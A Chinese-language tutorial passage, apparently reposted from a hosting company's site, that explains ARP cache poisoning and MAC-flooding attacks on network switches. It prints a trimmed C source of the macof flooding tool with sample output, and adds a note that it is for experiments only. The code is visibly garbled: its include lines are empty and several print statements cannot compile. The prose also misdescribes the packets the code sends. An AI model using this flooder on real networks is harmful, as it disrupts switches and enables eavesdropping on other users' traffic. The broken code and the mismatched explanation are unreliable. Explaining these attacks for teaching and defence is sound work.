二、 攻擊分類
◆ARP緩存中毒
這是個非常有意思的標題—“中毒”,這能讓我聯想到霉綠色的空氣和腐銹的紅色河水,畢竟地球區域生態環境令人擔心?。
ARP緩存中毒其實質并沒有字面含義那么可怕。還記得前面所提高過ARP緩存表的概念吧,事實上每個網絡設備都有一個APR表,其中臨時記錄著匹配的設備MAC和IP地址映射對。它保證這些記錄具有唯一性,即一個IP只單獨映射一個MAC。又由于ARP本身不具備認證信任機制,因此欺騙行為變的泛濫。當網絡設備發送ARP REQUEST時,它完全相信ARP REPLY回應是來自于正確設備,因為它不能驗證回應數據包是否確切從正確的設備發送的。更糟糕的是,許多操作系統并不需要發送ARP請求數據包就直接承認其他設備發送的ARP回應數據包。
這樣垃圾方式的設計讓入侵變的肆意,而防御卻無奈了許多。假設我是一個黑帽,我知道ARP并無驗證行為,而且系統不需要發送請求數據包就可接收ARP的回應數據包。我會怎么做?創建一個貌似合法的ARP REPLY數據包,其中偽造我所希望的MAC和IP地址,并發送給盲目接收此類數據包的主機系統。結果,這種方式欺騙主機使其更新我所希望的MAC-IP地址映射對。當然,我可以肆意廣播這種ARP REPLY數據包,愚弄整個網絡系統所有主機(?冷)。
現在你知道了ARP的一個小技巧,我們稱其為:ARP緩存中毒。正是通過它,無數的發明創造出來,正如輪子的發明可以和人類登月媲美,簡單的發明可以翹動地球。
◆MAC泛洪攻擊(Flooding)
現在的網絡結構大多數使用交換方式(Switched)結構取代早先的的廣播方式(Broadcast),這樣的優勢在于交換機不會向每個端口無聊的推送廣播風暴,它稍微智能的判斷需要推送數據的端口,這讓那些層在HUB方式連接的下大顯神威的嗅探器(snffer)感到憋足。
然而進步的力量有時候令“安全”變的很嬌嫩。交換機啟用端口安全特性(Port security)需要消耗部分的CPU,當交換處理超負載后,交換機就無法處理端口安全,此時交換機陷入了HUB模式,數據被簡單的廣播到網絡中的每臺計算機中,于是竊聽活動仍然可以繼續。于是利用大量的偽造ARP REQUEST數據包對交換機的ARP表進行泛洪攻擊(ARP緩存表中毒的典型運用),可以輕易使很多廠商交換機負荷過載(CISCO 1900和3COM superstackII就容易遭受攻擊),此刻交換機處于類似HUB工作方式,因而可輕松使用包嗅探器刺探整個網絡。
macof的小程序輕松了實現了這樣的功能,其代碼實現如下:
---------------snip-------------------
#include "config.h"
#include
#include
#include
#include
#include
#include
#include
#include "version.h"
extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);
in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char *Intf = NULL;
int Repeat = -1; //導致偽造MAC的無限循環
void usage(void) {
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof ");
exit(1);
}
void gen_mac(u_char *mac) {
//產生隨機MAC地址
*((in_addr_t *)mac) = libnet_get_prand(PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
}
int main(int argc, char *argv[]) {
int c, i;
struct libnet_link_int *llif;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
in_addr_t src, dst;
u_short sport, dport;
u_int32_t seq;
u_char pkt[ETH_H + IP_H + TCP_H];
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
errx(1, "%s", ebuf);
libnet_seed_prand();
for (i = 0; i != Repeat; i++) {
gen_mac(sha);
gen_mac(tha);
src = libnet_get_prand(PRu32);
dst = libnet_get_prand(PRu32);
sport = libnet_get_prand(PRu16);
dport = libnet_get_prand(PRu16);
seq = libnet_get_prand(PRu32);
//偽造貌似合法MAC地址
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
0, NULL, 0, pkt + ETH_H + IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
errx(1, "write");
fprintf(stderr, "%s ",
"源MAC地址:"ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n %s:%d > %s:%d\n",
"目標MAC地址:"ether_ntoa((struct ether_addr *)tha),
"源IP地址/端口:"libnet_host_lookup(Src, 0), sport,
"目標IP地址/端口:"libnet_host_lookup(Dst, 0), dport);
}
exit(0);
}
-----------------snip end-----------------------------
/* 本程序的作者是Dug Songdugsong@m.org,由于這里只需要實現MAC FLOODING的攻擊,所以我對程序做了精簡,便于讀者直觀了解MAC FLOODING的攻擊原理。另外,macof的最早作者是Ian Vitek,采用Perl進行編寫的*/
#macof 測試
[root@hackersvr /]# macof
源MAC地址:77:6b:e1:6e:5e:8c目標MAC地址:93:2d:ed:45:f9:e3
源IP地址/端口:0.0.0.0:45702目標IP地址/端口0.0.0.0:11000
源MAC地址:84:a4:d3:57:ef:8目標MAC地址:12:56:52:42:dc:95
源IP地址/端口:0.0.0.0:16630目標IP地址/端口0.0.0.0:3031
源MAC地址:f0:9:3f:18:89目標MAC地址:1d:86:53:53:d7:f8
源IP地址/端口:0.0.0.0:15535目標IP地址/端口0.0.0.0:7466 …………
此程序偽裝大量ARP回應數據包,導致交換機過載處理,因而陷入HUB方式處理數據包,Port Security特性失效。通過這種方式導致網絡安全再度陷入了竊聽的恐慌之中(注意:本程序只做實驗用途,嚴禁使用于任何工作環境,否則將導致網絡癱瘓或交換機硬件重置)。 本文出自:億恩科技【www.artduck.net】
服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]
|